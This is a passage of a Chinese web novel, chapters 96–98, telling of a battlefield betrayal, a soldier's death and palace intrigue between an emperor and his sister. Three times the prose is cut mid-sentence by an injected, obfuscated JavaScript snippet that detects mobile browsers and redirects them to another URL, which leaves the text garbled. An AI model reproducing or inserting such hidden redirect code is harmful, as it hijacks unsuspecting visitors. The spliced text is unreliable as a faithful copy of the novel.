这样孤立无援的仗,陈京观打了,就算此时上了天见到陈频,他也能问上一问了。 您为什么选了我,为什么认为我能做到您做不到的一切? 父亲,难道您和苏扬是一类人吗?苏晋让您替他死了,您便用我寻个前程。 心底的无力感爬满陈京观的每一寸静脉,可他握紧了手里的刀。 杀人真的会上瘾吗?为何他从未体会到。是不是只有当他放弃一切的时候,才会感受到其中的愉悦? 陈京观苦笑着按下了心头荒谬的想法,如果当真如此,他是不是就变成了另一个江阮? 那陈京观坚持这么久还有什么意义? 陈京观没动,他的肩膀却被一个温热的掌心盖住。 “我信的从来不是昌安营,而是父亲。你是我陆家选定的朋友,我们岂有弃你不顾的道理?”陆栖野一顿,“我相信父亲也会同意我这么做。” 陆栖野记得桑柘那句话。 “做所有决定的时候,想着家,你就不会做错了。” 说罢,陆栖野翻身上马,他用衣袍擦掉刀剑上的血肉,月光之下,只能看到他的铁甲熠熠生辉。 “驾!” 陆栖野快步冲了出去,他身后的迷津和檞枳左右跟着,在原地获得片刻喘息后的士兵仿佛被重新燃起斗志,他们丢弃掉早已战损的武器,在死人堆里寻找最锋利的刀。 “全军,誓死抵抗!” 96.祸起萧墙(七) “元煜!是你还是孔肃?” 陆栖野挥刀指向人群中的那一身黄甲,可皇家贵胄的身旁必定有无数肉盾,陆栖野不知道自己杀了多少人,只觉得离元煜的距离越来越远。 “还重要吗?” 元煜轻笑道,他手扶在腰侧,至今没有抽刀。 “所以我的性命你也要?” 陆栖野对上了元煜的目光,元煜偏过头好似有些为难地道:“那要看陆小爷怎么选了?” “我定不会放弃朋友。” 元煜了然地点头,神色自若,“我也很欣赏陈将军。我是问,你选我,还是元焕?” 陆栖野的眼神在那一刻失焦,他惊讶于元煜的坦诚,却又被他的话震得难以动作。 元煜,叛变? 不可能,陆栖野当即否定了这个想法,可另一个可怖的念头又冒了出来。 元煜,要争这个储君之位。 一个从出生之时就被定了命数的皇子,他偏要改命。 “陆栖野,你就从来不觉得命运不公吗?明明你也是陆家的儿子,凭什么陆栖川能袭爵,靠一个出身获得一切,而你却要拼死拼活才能挣个功名。你就没想过做陆家的主人?” 元煜抬手叫停了这场荒谬的争端,陈京观快步走到陆栖野身边。 “同样是一母同胞,我们却像是永远被隐藏在光芒下的影子,所有人都称赞他们君子品行,却对我们的努力视而不见。凭什么?” 元煜说罢,脸上的愠色一扫而空,那张虚伪的笑脸又挂了上来。 “之前的我们是被他们养废的,但我们自己知道,他们能做的,我们也能做。”元煜缓缓向前探身,“不是吗,栖野?” “你所谓的能力,是指依靠江阮,将北梁变成东亭的附属国吗?” 陈京观开口时面不改色,元煜将目光放在了他身上。 “你与江阮相处时间也不短了,还不知道他是什么样的人?他的目的从来不是东亭复国,那又何谈让北梁向东亭低头。我与江阮是各取所需罢了。” “你能给他什么?” 元煜笑了笑,缓缓抬起手臂,右手慢慢弯曲,最后轻点着陈京观的方向。 “你。” 见陈京观不说话,元煜又补充道:“陈少将军,你便是我的投名状。” 陈京观哑然失笑,他偏过头看着朔州城头迎风飞扬的旗帜,好似还能看到方才站在那里的江阮。 这是他们自阙州分别后的第一次见面。 直到温书让死之前,陈京观都曾想过他要是和江阮再见,他们会对彼此说些什么。他应该会问问江阮的过去,会问他常年不褪去大氅究竟是什么原因。 可惜,再见时一个人在城头,一个人在尸堆。 江阮终于让陈京观浑身都沾了血,终于让这自视清高,菩萨心肠的陈京观犯了杀戮。 既然不能拉你入泥潭,那就推你进深渊。 “那也不必说了,元煜,我和你不一样,”陆栖野向前走了一步,“我有爱我的母亲,有疼我的父亲,更有让我敬爱的兄长,我们陆家人,血脉里就带着对彼此的无限信任。” “今日你最好也杀了我,不然我会替元焕杀了你。” 陆栖野轻合双眼,再睁开时已经飞身朝元煜刺去,他的动作重新点燃战争的余烬,一时间纷乱四起,周遭全部是喊杀声。 筋疲力尽的平远军面对昔日的队友,在刀剑碰撞时双方的心也撞在了一起,血肉飞溅时眼泪也混在其中。 他们谁都没有抱怨一句,谁也没有问上一句,因为昌安营的最高军令是服从命令。 无论前方是什么,只要一声令下,纵使是万丈深渊昌安营也会用身躯填平。 这是他们刻在骨子里的东西,一辈子也忘不掉。 袁冲在看到桑柘的时候,眼神中有不可抑制的痛苦。他与桑柘同期入伍,他们彼此都清楚对方身上有多少伤疤,当然也明白对方的弱点。 桑柘就远远站在昌安军的后面,陆栖野看得见他,迷津和檞枳也看得见他。 前方的战场是队友的自相残杀,那一刻,陆栖野明白陈京观为何会让他退。 “只以平远为矛,不以平远为盾,平远军永远不会将刀尖刺向昌安营的胸口。” 陆栖野再望向陈京观,只能看到他脸上是落寞,也是愧疚。 陈京观的遗憾又多了一点,他连最初的誓言都没有守住。 “啊!” 陆栖野用尽最后的力气又向元煜所在的位置发起攻击,他身边的人掩护着他,鲜血在喷洒到陆栖野脸上的时候已经染上了午夜的寒霜。 有一滴血进了他的眼睛,在刺痛的瞬间他听到前方传来刀剑碰撞的声音,紧接着,一个身影倒在了自己面前。 陆栖野努力睁眼,只看到桑柘扶着胸口,红色已经浸透他的衣裳,五指之间涌出的是他最后的气力,他看到陆栖野的时候反倒释然的笑了,流着血嘴角划起一个弧度。 “我杀不了他,他是皇上钦定的将军,可我能护得了你。” 陈京观迅速冲上前将两人护在身后,让陆栖野立刻带桑柘回营地,可桑柘用另一只手盖住了陆栖野的动作。 “不要救我,把一切推到我身上。今日你兵败,是我的责任,今日我身死,权当是赔了这么多兄弟的命。小爷,我去见父亲了。” 桑柘的最后一丝力气随着泯川江畔的风吹向北梁,陈京观低头看他,望见了陆栖野颤抖的肩膀。 “箭上有毒。” 陆栖野将桑柘推上自己的马匹,然后拍了拍它的屁股,他知道它能把桑柘带回家。 “元煜从来也没打算放过我。陆家是元家最大的拥护者,只要我们还活着,他就不可能从元焕手里拿到皇位。” 陆栖野喉咙里的声音哽咽着,他分不清脸上的时泪水还是桑柘的血,他抬头望时,看见元煜盯着自己。 “说来可笑,元煜的箭术,还是跟我父亲学的。” 陆栖野一口一口呼着气,可他依旧觉得胸口被人压住了,他不知道是什么让元煜变成了这样,但他知道是什么让他变成了这样。 陆栖野作势要继续向前,可胳膊却被人拉住,陈京观的手很用力,疼痛感在那一刻拉扯着陆栖野的理智。 “桑柘说得对,如果你现在杀了他,你才是北梁的叛军。你要活着将一切告诉天下。” 陈京观朝陆栖野笑了笑,然后接替陆栖野朝前冲去,他手上的长刀因为鲜血不停地冲刷而变得迟钝,但是元煜就在那里,陈京观要在死之前报陆家最后一恩。 他可以是叛军,他可以是反贼,反正他本来就是叛军之子。 陈频头上的那顶叛军的帽子,是不是也是这样扣上去的? 突然,南边的平原缓缓升起一条黑线,所有人盯着那如天降的军队。 是敌是友? 在场的所有人都分不清楚。 不知道是谁先喊了一句“是南魏的军队”,紧接着便是许多自我安慰和迎合的声音,陈京观转身去看,却只觉得心里有一块地方空了。 “是董将军。” 他从来也不指望什么。 董辉和席英的身影越来越清晰,但是人们心中的喜悦却慢慢被浇灭,眼前的这支队伍也像是刚经历的重大战役,每个人都灰头土脸,身上满是血痕。 “我们收到信就往这赶了,可是江阮用了两万东亭军来拦我们的路。他们不指望我们会输,但是指望我们来不及。索性,赶上了。” 董辉快步迎上了陆栖野,他胳膊上缠着白色布条,伤口处好像还冒着血,跟着他身后的席英望着眼前的战场,霎那间就看到了罪魁祸首。 “我去帮兄长。” 席英的动作很快,虽说她肩膀上受了伤,可凡她所到之处根本没有旁人喘息的机会。 元煜看清她的身影后示意身旁的侍卫切断了她和陈京观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一声低语在陈京观耳边响起,他侧身望见浑身是血的席英扶住了他。 “等我带你走。” 陈京观低头苦笑,每一下都让他疼得要昏死过去。 “放下我,你可以全身而退。” 席英冷哼了一声,“那我不如死在三年前的阙州城外。” 说罢,席英将陈京观架在自己的肩上,她转身时看到董辉冲了进来。 “带他走!” 席英看了董辉一眼,董辉没说话,只是朝她点头。 席英没有犹豫,下一秒她收起剑,将陈京观背在自己背上,陈京观身量比她高,可席英依旧稳稳地向外冲杀,她不知道自己的胳膊挨了多少下,她只知道再疼也没有当时在阙州的时候疼。 陈京观最后的意识,停在了他听到席英呼吸声的瞬间。如同那时他抱起席英时,席英也昏死在了他的怀里。 “迅速带他回营地。” 苏清晓在远处喊着,席英瞧见他一身白衣如今红花朵朵,他手里还拿着席英给他防身用的剑,席英没想到他竟然对剑如此熟练。 “你跟我走。” 苏清晓点头应了声“好”,两个人把陈京观放在马背上,席英任由陈京观靠着自己,苏清晓殿后,负责拦住追上来的兵。 “你们不用管了,这里有我们。” 陆栖野也骑上马,他身边的迷津和檞枳护卫在两侧,席英往远处看,平芜和董辉正在与元煜纠缠。 “好,我们营地见。” 席英喉头一哽,在眼泪落出来之前转身朝营地奔去。 她不知道自己身后的这些人,这辈子是否还能再见到了。 突然,又是一阵骚动,席英闻声朝西望去。不知不觉间他们打了一晚上,在初升的日光下,一队人马朝此处来袭。 “陈京观到底得罪了多少人?” 苏清晓苦笑着,他看着身后的人群慢慢变小,而眼前的人却躲不掉了。 “不对,”席英微微皱眉,“那是玄鸟旗,是西芥铁骑。” 97.枯木逢春(一) “皇上!皇上!” 崇明殿的长阶上,内侍连滚带爬地往书房跑,他所到之处路人纷纷侧目。其实大家对他所急之事在心中都有个猜测,只是没有说明的事情谁也不敢声张。 此时的御书房浸在战争的肃杀氛围中,萧霖稳坐书桌旁,前面站着关策、甄符止和莫汝安。 “皇上,少将军败了。” 内侍进屋子就跪倒了,他的舌头打着颤,说完后又觉得不妥当,随即朝屋里的四个人分别磕了个头。 “他人呢?” 甄符止率先开口,所有人目光都聚焦在内侍身上。 “死了。” 内侍咽了咽口水,小心地抬头打量萧霖,萧霖自始至终没有说一句话,可他手一抖,那晕开的墨迹为纸上的“归”留下最后一笔。 “消息确切吗?” 莫汝安厉声问道,那内侍将头埋得更低,“奴才不知,是后来派往驰援的人送回来的消息。” “驰援?”萧霖终于开口,他轻笑一声,手里将笔握得更紧了些,“人都死了,她不过是为了去看看这次死透了没。” 屋子里的气氛又降了些,内侍止不住的发抖,甄符止朝他的方向走去,做了个退下的手势,那内侍感恩戴德地离开了。 “她还是派兵了,只这一条我们就没办法拿此事做文章。” 甄符止说罢看了一眼关策,关策接着道:“驰援的大军不日也将回朝,届时问个清楚再做下一步打算吧。” 甄符止附和道,“我听闻苏家小公子进了陈京观的阵营,若他还活着,他父亲的事情我们怕是要知会一声。” 萧霖默不作声,徒留屋内的三个人面面相觑。 “皇上,他会死,你应该早就知道。” 关策的话打破了宁静,他瞧见萧霖喉头一颤,“是,他第一次来的时候我就知道。” “两军人数太过悬殊,可就这样的情况他们还是打了一天一夜,他尽力了。” 甄符止语气里的情绪毫不掩饰,萧霖抬头看着他,“你也在怪我?” 甄符止跪下道,“臣不敢,臣只是看不懂陛下。可臣也的确不该揣测圣意,我能做的只当是提醒他,自己珍重。” 甄符止此话一出,关策也随他一起跪在了萧霖面前。 “少将军对我有知遇之恩,如今他开不了口,那我替他说。”关策一顿,“皇上,您何不直接让位于长公主殿下呢?如此,对谁都好。” 关策的话说完,甄符止眉头一皱,他用胳膊轻轻碰触关策,可关策好似心意已决,他看着萧霖没有说话,就继续道:“前有孟大学士以死求长公主还政,后有苏大学士以死求陛下亲政,如今我关策也想赴前人之趋,可我还是不死心,我就想问您一句,你还欠长公主多少,还要多少人命去还?” 莫汝安看着身边一个两个全都是一副找死的模样,他没有动,只是静静盯着萧霖。 他今天出现在这不全是为了陈京观,更多是为了温书让。他师从温书让,而温书让惨死在他心里成了过不去的坎。 “皇上打算如何对待崇州兵变?”莫汝安问道。 萧霖沉默了片刻后开口,“陈京观消耗了东亭不少兵力,我知道现在是最好的时机,可是南魏还有谁能带兵吗?” 一时间,屋里的三个人都不说话了。 这偌大的王朝竟然找不出一个能带兵打仗的?这自然不可能。可谁还愿意在陈京观被弃朔州后接这个烂摊子,萧霖想不到了。 当初陈频为南魏身死西芥,却背了个通敌叛国的罪名,这已经寒了无数学子的心,如今陈京观领兵出征却被自己人断了后路,无疑将整个萧氏朝廷的信誉踩在脚下。 “皇上,那日您与长公主殿下究竟说了些什么?” 萧霖一怔,眼前的墨水似乎把他拽进了黑暗。 …… 七日前,萧霖收到了陈京观在出征前送回来的信,他在信上把东亭军报一一说明,又将两军的兵力做了简单的对比。 陈京观原是不担心硬碰硬的,他相信昌安营出来的兵能和东亭的散兵游勇碰一碰,可他觉得不安,因为他没有看懂元衡的动作。 元衡明面上了是派了兵,可何时到,甚至他究竟是什么立场,陈京观都拿不准,更何况他在这么重要的时候用了没有经验的元煜,陈京观觉得这是孔肃的阴谋。 陈京观在那封信的最后只轻轻提了一句,“您说过我还是南魏的少将军,这话还作数吗?” 萧霖瞬间明白了陈京观的意思,这是他第一次低下头向萧霖求援。 廊州的守军离战场不远,如果萧霖在接到信后立刻派兵,陈京观在攻入朔州的那天正好能迎上廊州的兵。 萧霖不指望将东亭一举消灭,但是若能赢一场,至少能涨涨南魏的士气。可他的快报还是被拦下了,而他对此并不知情。 在此前萧霖为了稳妥甚至借了关策的手,走的是陈京观铺下的暗网,这原该是万无一失的,但当陈京观已经埋伏在朔州边界时,崇宁拿着那封快报来了御书房。 “你要派兵给他?” 崇宁的语气不算友好,她已经很久没有进过这个屋子了,她把手里的东西甩在萧霖面前,萧霖没作声。 “雍州的守军在陈京观在时绝不可能听我们的,而崇州已经叛变,廊州的兵是南魏最后的屯军。我拟了战时征兵令,已经让关策发下去了,最快一个月能集合七万人马,你如果此时派兵给他,你不怕他反扑吗?” 萧霖神色凝滞,半晌才露出一抹苦笑,他抬头望着崇宁,“战时征兵令,我怎么一点也不知道?你现在甚至连传圣旨都不需要经过我的手了吗?” “难道我们还有其他选择?陈京观的兵是哪里来的你我都清楚,他如今还和北梁的陆栖野混在一起,如果他此次去朔州投了敌,你觉得他杀遏佐,除蒋铎,下一步该是谁?” “投敌?”萧霖脸上笑意更浓,“你要把按在陈频头上的罪名再按在他头上吗?” 崇宁没有直接回答,她朝萧霖走了两步,“我的好弟弟,做皇帝可不能这么心慈手软,你对别人心软,他会要了你的命的。” 他不会。 萧霖心里想着,却把这话没有告诉崇宁,他深谙自己这个姐姐的固执。 崇宁认定的,除了让她死,没有人能改变她的想法。 “那他如果一心就是为了南魏呢?” 崇宁轻蔑一笑,“那我也不会留他。我不会让一个原本该死的人活过来的。” “所以他必死无疑?” 萧霖说话时一直盯着崇宁,崇宁有些诧异,她竟然从萧霖的眼神里第一次看到杀意。 “对。”崇宁毫不示弱。 “你为何如此肯定?” 这回轮到崇宁不说话了,萧霖上下打量着她,道:“你,不会叛国吧?” “当然不会,”崇宁回道,“我费尽心血才到如今的位置,这天下没有人能再给我更大的权力了。” 萧霖无奈地点头,脸上满是苦笑,“可我才是皇上啊。” 崇宁不说话,萧霖再次开口时她听到了一丝哽咽的情绪。 “你还记得当初我俩是怎么被那几个得宠的皇子公主欺负的吗?他们骂母亲是戏子,是贱婢,说我们玷污了萧氏的血统。你那时候带我绕到后花园,指着崇明殿说有朝一日我一定会坐上那个皇位。” 萧霖嘴角微微发颤,“姐姐,你受到的屈辱,你身上那些消不掉的伤疤,我都记得的。你替我做了好多好多,那些恩多到我根本还不清了。” 萧霖望着崇宁,“那时候,你就该自己坐上来。” 萧娉祎,你就该自己来当皇上。 这几十年,这无数个日日夜夜,这句话被崇宁翻来覆去地想,只是她没想到,萧霖也被这句话困住了一生。 “你把我推上了高位,却给我带上了锁链,你束住了我的手脚,蒙住了我的嘴,可你偏偏给我留下了眼睛和耳朵。你让我坐在这皇位上看着你一步步被权力吞噬,而我耳边都是骂我德不配位的话。” 萧霖拿起了桌上那封快报,他只觉得喉咙发涩,“我记得,最开始的我们不是这样的。我许诺你成为这南魏最无忧无虑的长公主,你说你要陪我守住这个来之不易的皇位。可你变了,为什么?” 崇宁喉咙动了,可她说不出话,她与苏扬的那些事情她要烂在肚子里,她不要让任何人知道。 最初的她,真的只是个娇蛮的公主,她不受人待见,可唯独苏扬不在乎她的出身,她在他那里使尽了小性子,她以为包容就是爱。 后来苏扬与她越走越近,她真的很想让苏扬把她带出这个四四方方的天,她想跟着苏扬去游历,一起去诗画中的天下。 可苏扬有家室。 为此,崇宁时常觉得自己是个卑鄙之人,为了自己贪图那一点光,就掐灭了另一个女人的光亮,她踌躇着,试图远离苏扬。 她的动作在苏扬看来,却成了欲拒还迎。 于是两个人身份对调,苏扬开始对了崇宁的追求。他爱慕崇宁身上的鲜活,喜欢那年轻的生命为自己带来的新鲜感,在他一天天的沉沦中,他忘记了自己的儿子甚至只比崇宁小五岁。 终于,曹殊发现了这一切。她为苏扬找了很多理由,她见识过他年少时寒窗苦读的模样,她觉得若崇宁和苏扬结为连理,苏扬会获得他想要的。 最后曹殊用一杯毒酒结束了自己的生命,她受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068948|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了青梅竹马的爱人背叛自己,即使她不断给自己洗脑,她也没有办法忽略爱人对她越来越不感兴趣的事实。 而这一切的起源,苏扬,在看到妻子倒在自己面前时,他第一反应是崇宁杀了曹殊,因为在他的印象中,崇宁一直是个极端又自私的人。 在那之后苏扬单方面断了与崇宁的联系,他再也没有去过崇明殿,而崇宁被苏扬莫名其妙冷落,后来知道了曹殊之死,她开始自我怀疑。 她不再奢求虚幻的爱情,她将自己送给了当时的丞相,她想着如果爱是这样短暂,那她就寻找一些别人抢不走的。 比如权力。 崇宁开始帮萧霖夺权,那时候的她还没有认识到这皇位并不一定要是男子的。 她结交拉拢朝堂上的权贵,利用夫家的势力帮萧霖扫除异己,她自己却每日活在水深火热里。 老丞相有过四任妻子,崇宁是他最后一任。崇宁进到丞相府的第一天,就明白了那些女子为何不明不白地死去。 崇宁想过老丞相有问题,可那时的她还不足以想到是宫廷秘辛的地步,直到第一夜过去,她只剩下半条命。 原来谁都有肮脏的一面,原来道貌岸然四个字如此贴切。 崇宁为自己上药,她才十七岁,却永远失去了做母亲的机会。或许也是如此,她彻底放弃了皇位,她没有继承人可以继承她的天下,而岁月终究会将她带走。 这之后短短两年,崇宁帮弟弟拿到了皇位,她在萧霖登基的十天后,杀死了自己的夫君。萧霖封她做了长公主,请她住进了威岚坊。 日子原本可以就这样过下去,崇宁喜欢每日赏花看书的生活,可偏偏这个时候苏扬出现了,他将曹殊的死推给了崇宁,而崇宁一言不发地认下了,她认为是自己欠曹殊的。 可这一切没有结束,萧霖求苏扬出山,苏扬推荐了陈频,崇宁看得出,苏扬要借陈频的手从自己这里讨个说法,虽然她并不知道自己欠苏扬什么。 崇宁将这一切理解为是苏扬在挑衅自己,于是她又回到权力场上。 她萧娉祎可以输给任何人,唯独不可以是苏扬。 于是崇宁选了蒋铎成为自己对抗陈频的工具,他是最合适的人,因为她明白恨一个人时内心会有多热烈,那是比爱更让人难忘的感觉。 从此,长公主崇宁不再是那个萧霖印象中的姐姐。崇宁开始干政,她的手越深越长,萧霖却对此前的这一切毫不知情。 崇宁没有告诉任何人,因为即使她已经身陷污名,即使她已经权利滔天,那些事情依旧是她心里的刺。如今苏扬死了正好,这世界上不会再有人知道了。 “我只是觉得,凭什么我挣来的皇位,要让你坐。” 崇宁的话尖酸刻薄,萧霖也只能空笑一声,他不知何时已经红了眼睛,袖口了藏着手慢慢握成拳。 “那你早说啊,我会让给你,至少我们不会变成如今这样。” 在萧霖的视角中,他只看到姐姐一点点被权力引诱,然后被吞噬。 他不明白儿时那个最疼爱自己的姐姐为什么要来和他抢,明明他拿到的皇位,是崇宁塞到他手里的。 他承认自己的野心,但世间一切都没有姐姐重要。 在萧霖成为杀害老丞相的帮凶时,他就看清楚了自己的心。如果没有他的默许,老丞相不会死得不明不白,他以为凭这件事姐姐应该会明白他的心意,可崇宁好似对一切视而不见。 萧霖挣扎着,反抗着,到最后只剩下躲避这一条路,他毫不犹豫地踏了上去。 从那天起,南魏的朝堂上萧霖变得隐身,所有人都默认崇宁是他背后的影子。 可实际上萧霖的内心无一刻不在挣扎,即使他对皇位不感兴趣,他也不想让姐姐在一条不归路上越走越远。而陈京观的出现,让他以为是老天爷给他的第二次机会。 第一次,是陈频。 但萧霖并没有看清这一切问题的根源,事实上只要他一天不能消解对崇宁的愧疚,他就会永远被崇宁攥在手心里。 他们两个人神奇的形成了一种平衡, “萧娉祎,”萧霖郑重地念出这个名字,“从小到大我没求过你什么。现在我想想求你,放过陈京观。” 崇宁没有回答,萧霖眼神暗了暗,“丛愈先死了,我耿耿于怀了半辈子,陈频死了,彻底让我放弃了所有念想。当我知道陈京观还活着的时候,他就成了我的念想。” 萧霖总是能从陈京观的脸上看到陈频的样子。 “我不会让他死的,绝对不会。” 崇宁轻笑,“可他本就应该死的,我只是让他回到了命数上。” “他若是死了,姐姐,那我就要和你斗一斗了。” 98.枯木逢春(二) 萧霖回过神,抬头看着眼前的三个人,而眼前三人对他们今天被叫到这的原因,心里一清二楚,可他们在这御书房待了小半天,萧霖的态度还是摇摆不定,关策和甄符止能做的只有续上陈京观的路,继续试图叫醒萧霖。 “三位,我自然明白你们能保持公正到现在不会是因为我,只是现在无论你们出于什么原因,你们是我现在为数不多能信任的人了。” 萧霖放下手中的狼毫,目光从左向右依次从三人脸上扫过。 “我与长公主的事情你们听不得,否则她会要了你们的命。但我现在可以表明我的立场,陈京观之死,我会负责的。” 萧霖望着关策,“关大人,当初任你在通政司,为的就是让你能将我的圣旨准确无误地传出去,我知道这其中阻力颇多,可若想成事,我们要先掌握话语权。” 关策跪在地上一愣,转瞬他反应过来,忙叩头道,“臣明白,还请皇上放心。以后不会再出现被拦截的圣旨了。” 萧霖点头,又将目光投向甄符止,“甄大人,你如今还任京兆尹?” 甄符止道,“是。” 萧霖思索了片刻继续说,“蒋铎死后相位空悬,可以你的资历尚且不足以担此任,现任户部尚书年逾古稀,我升任你做户部尚书,暂代丞相职责,你可愿意?” 户部尚书,那是陈频、蒋铎都曾坐过的位置,在南魏的朝堂,大家默认这就是丞相的候选人。 甄符止顿声,“臣自然愿为南魏,为皇上效犬马之劳,可长公主处能通过吗?” 萧霖轻笑道,“你忘了我刚同关策说的?从今往后,圣旨就是我萧霖的话,只有我萧霖说的才能是圣旨。” 虽说甄符止心里依旧犯嘀咕,可萧霖的话不容置疑,他叩头领旨谢恩。 “莫大人,”萧霖看着这在场唯一还站着的人,“你今日愿意来,我明白你的心意。温书让之死是我南魏之失,我定要问东亭讨回来。那除此以外呢?你可有为这南魏再出一分力的打算?” 萧霖的话说得委婉,也给了莫汝安选择的余地,莫汝安低着头半天没应,萧霖无奈地轻声一笑,可正当他准备说话时,莫汝安开口了。 “我虽未正式行过拜师礼,可我的确是温大人带进刑部的,他对我来说亦师亦父。温大人前半生遭受了许多伤痛,家破人亡,到最后连个能给他收尸的人都没有,我只觉得世道不公。” 莫汝安说话时一直低着头,平日他常以圆滑的形象示人,因为那是温书让临行前对他的最后一句嘱托。 “在南魏,太过耿直的人都没有好下场。” 莫汝安记住了,可他觉得温书让忘记了。 在刑部尚书的位置上莫汝安一坐就是八年,他守着温书让留下的东西,也守着南魏最后的骨气,他管不了这官场上的蝇营狗苟,可只要送到他刑部的案子,他能保证没有一个冤假错案。 但刑罚毕竟是最后一道关卡,在如今的南魏,许多事情纵使人尽皆知,莫汝安的手也伸不过去。 那日三司会审蒋铎,莫汝安第一次见到了传闻中的少将军,陈京观虽说一身寻常官袍,可在他身上莫汝安能想象出陈频当日身着文武袍时的模样。 他也就能明白温书让坚持这么多年的原因了。 这书香浸润百年的南魏从来不缺精妙绝伦的辞赋,从来不缺振奋人心的政论,缺的是知世事而不世事的孤勇。 这一点在别人看来是愚蠢的,是天真的,可陈频身上有,陈京观身上也有。 莫汝安从那时起决定偏向陈京观站队,他试图一点点靠近他,只是没成想他还未接近陈京观,却已经永远失去了机会。 “我出身刑部,公道是我毕生的追求。可若世道不公,何谈刑罚公正?我莫汝安不会放任老师的心血就此陨灭。” 莫汝安朝萧霖弓腰,“少将军没做完的事情,我会继续做的,南魏的沉疴墨吏一日不除,我莫汝安一日不出刑部门。” 萧霖望着眼前的人突然说不出话了,他以为自己还需要再费些口舌才能显得自己赢面大些,才能让他们三人为自己所用,可他还没有开始说服,这三个人已经选好了一条艰难的路。 “我在此谢过三位公卿,在如此动荡的年代还愿意继续相信南魏。”萧霖起身朝三人微微颔首,“今日之后,是新南魏的诞生。” …… 又是七日,崔擎舟带着驰援朔州的兵马原路返回,他们没有靠近朔州,只是站在泯川江这一侧望了望,东亭的战旗猎猎作响,土地被炙烤后散发出难以消散的血腥气。 崔擎舟在队伍扎营后又一个人回到了江边,没有人知道他在想什么,直到第二日晨昏破晓,他才重新带着队伍往回走。 “禀殿下,当日江阮撤兵后北梁的军队赶到,将陈京观的队伍围堵在泯川江旁,他们切断了水上的桥梁,平远军全军一万人多数战死,少部分跟随陆栖野回了北梁。” 崔擎舟一回来就进了威岚坊,瞧见崇宁倚着窗沿眺望远处,他躬身汇报见闻,崇宁一声不响。 蒋铎死后,崇宁将自己的住所彻底变成了议事厅,从此将政事看得越发紧,她彻底变回了替萧霖夺权时候的萧娉祎。 “有一事我觉得您该知道,”崔擎舟沉默片刻后道,“敬安山的土匪又趁乱起势了,我想着他们应该是打算照东亭的样子也占一块地方。” “当初陈京观用招安的形式劝降了他们,如今陈京观死了,当然是一个个要跳出来为虎作伥。” 崇宁转身,她手里摇着一把团扇,凑近崔擎舟的时候他能闻见空气里的茉莉花香。 “这些人不足为惧,我们应该注意的是萧霖的手越伸越长,已经快要将这朝廷上一大半的人抓进刑部大牢了。他也是奇怪,抓的人不光是我的人,还有些摇摆不定的,我想不出他这招除了招人恨,还能有什么作用?” 崇宁说话时嘴角笑意渐浓,崔擎舟就陪着她笑,“殿下说的是,那我探到的军报要过一遍通政司吗?” “过,”崇宁语气笃定,“我要让他清清楚楚听到陈京观的死讯。” 崔擎舟道“是”,可他面色却游移起来,崇宁瞥了他一眼,责问道,“还有什么事,一并说。” 崔擎舟抿了抿嘴,“我们泄露陈京观行踪的事情,江阮会告诉萧霖吗?他如果拿到这个把柄,恐怕您就要坐实叛国罪了。” “叛国?”崇宁轻笑,“我叛了哪个国?陈京观是南魏的将军不假,可他的兵来路不明是其一,他私自勾结外国是其二,他对江阮的行为知情不报是其三,他萧霖要是敢问我的罪,那他就得先把陈京观钉上耻辱柱,他可舍不得。” “可毕竟陈京观是为了南魏出征,我们釜底抽薪怕是……” 崔擎舟的话还没说话,后半句便被崇宁的眼神杀死在了心口。 “崔大人,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15081512|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道你为什么爬不到蒋铎的位置吗?论才情武功,你不落人后,可唯有一点,你太自以为是了。” 崇宁朝崔擎舟走近,他不由自主止住了呼吸。 “如今我手里能用的人不多,可能用人的位置不少,你若是办事妥帖,还怕寻不到一个真正立功的表现?你是正经武选出身的将军,可比陈京观这种半路出家的人厉害多了,你就不想真正带兵打一场胜仗?” 崇宁眼中的狠戾淡了三分,换上了一副皮笑肉不笑的表情,“记住,聪明人少说多做。” 崔擎舟羞愧地低下头,可他不知道自己是因为这么多年寸功未立还是因为顶撞了崇宁,此时的他只觉得脸颊发烫。 “行了,该说什么不该说什么都清楚了?你回来的阵仗不小,关策该要找你了。” 崇宁说音刚落,门口的宫女就小声通报说关大人寻崔将军一叙。 “崔擎舟,”崇宁叫住了欲往外走的人影,“一个月后征兵结束,你可愿意带兵收复崇州?” 崔擎舟身子一滞,他清晰的记得自己看到崇州城门上挂着东亭战旗时心中那团怒火,贺福愿他太熟悉了,可正因为熟悉,他做出这样的事情让崔擎舟永远无法理解。 他们都在等一个功名,而贺福愿选择半路将刀指向自己人。 崔擎舟想要寻到他,问个清楚,然后杀了他。 “愿意。” 这两个字是崔擎舟今日说过最果断的一句话,崇宁“嗯”了一声,示意宫女带他从侧门离开。 崔擎舟走后,这威岚坊没安静多久,一个女官打扮的人走进来。 “殿下,又有几位大人送了信进来,说是家里放在远乡的财产让充了公,想问个缘由。” 崇宁不禁抽动眼角,喉咙里溢出轻蔑的笑,“这时候知道着急了,一个个在家数银子的时候怎么不知道手脚放干净点,人就是贪心,既要又要,最后什么也得不到。” 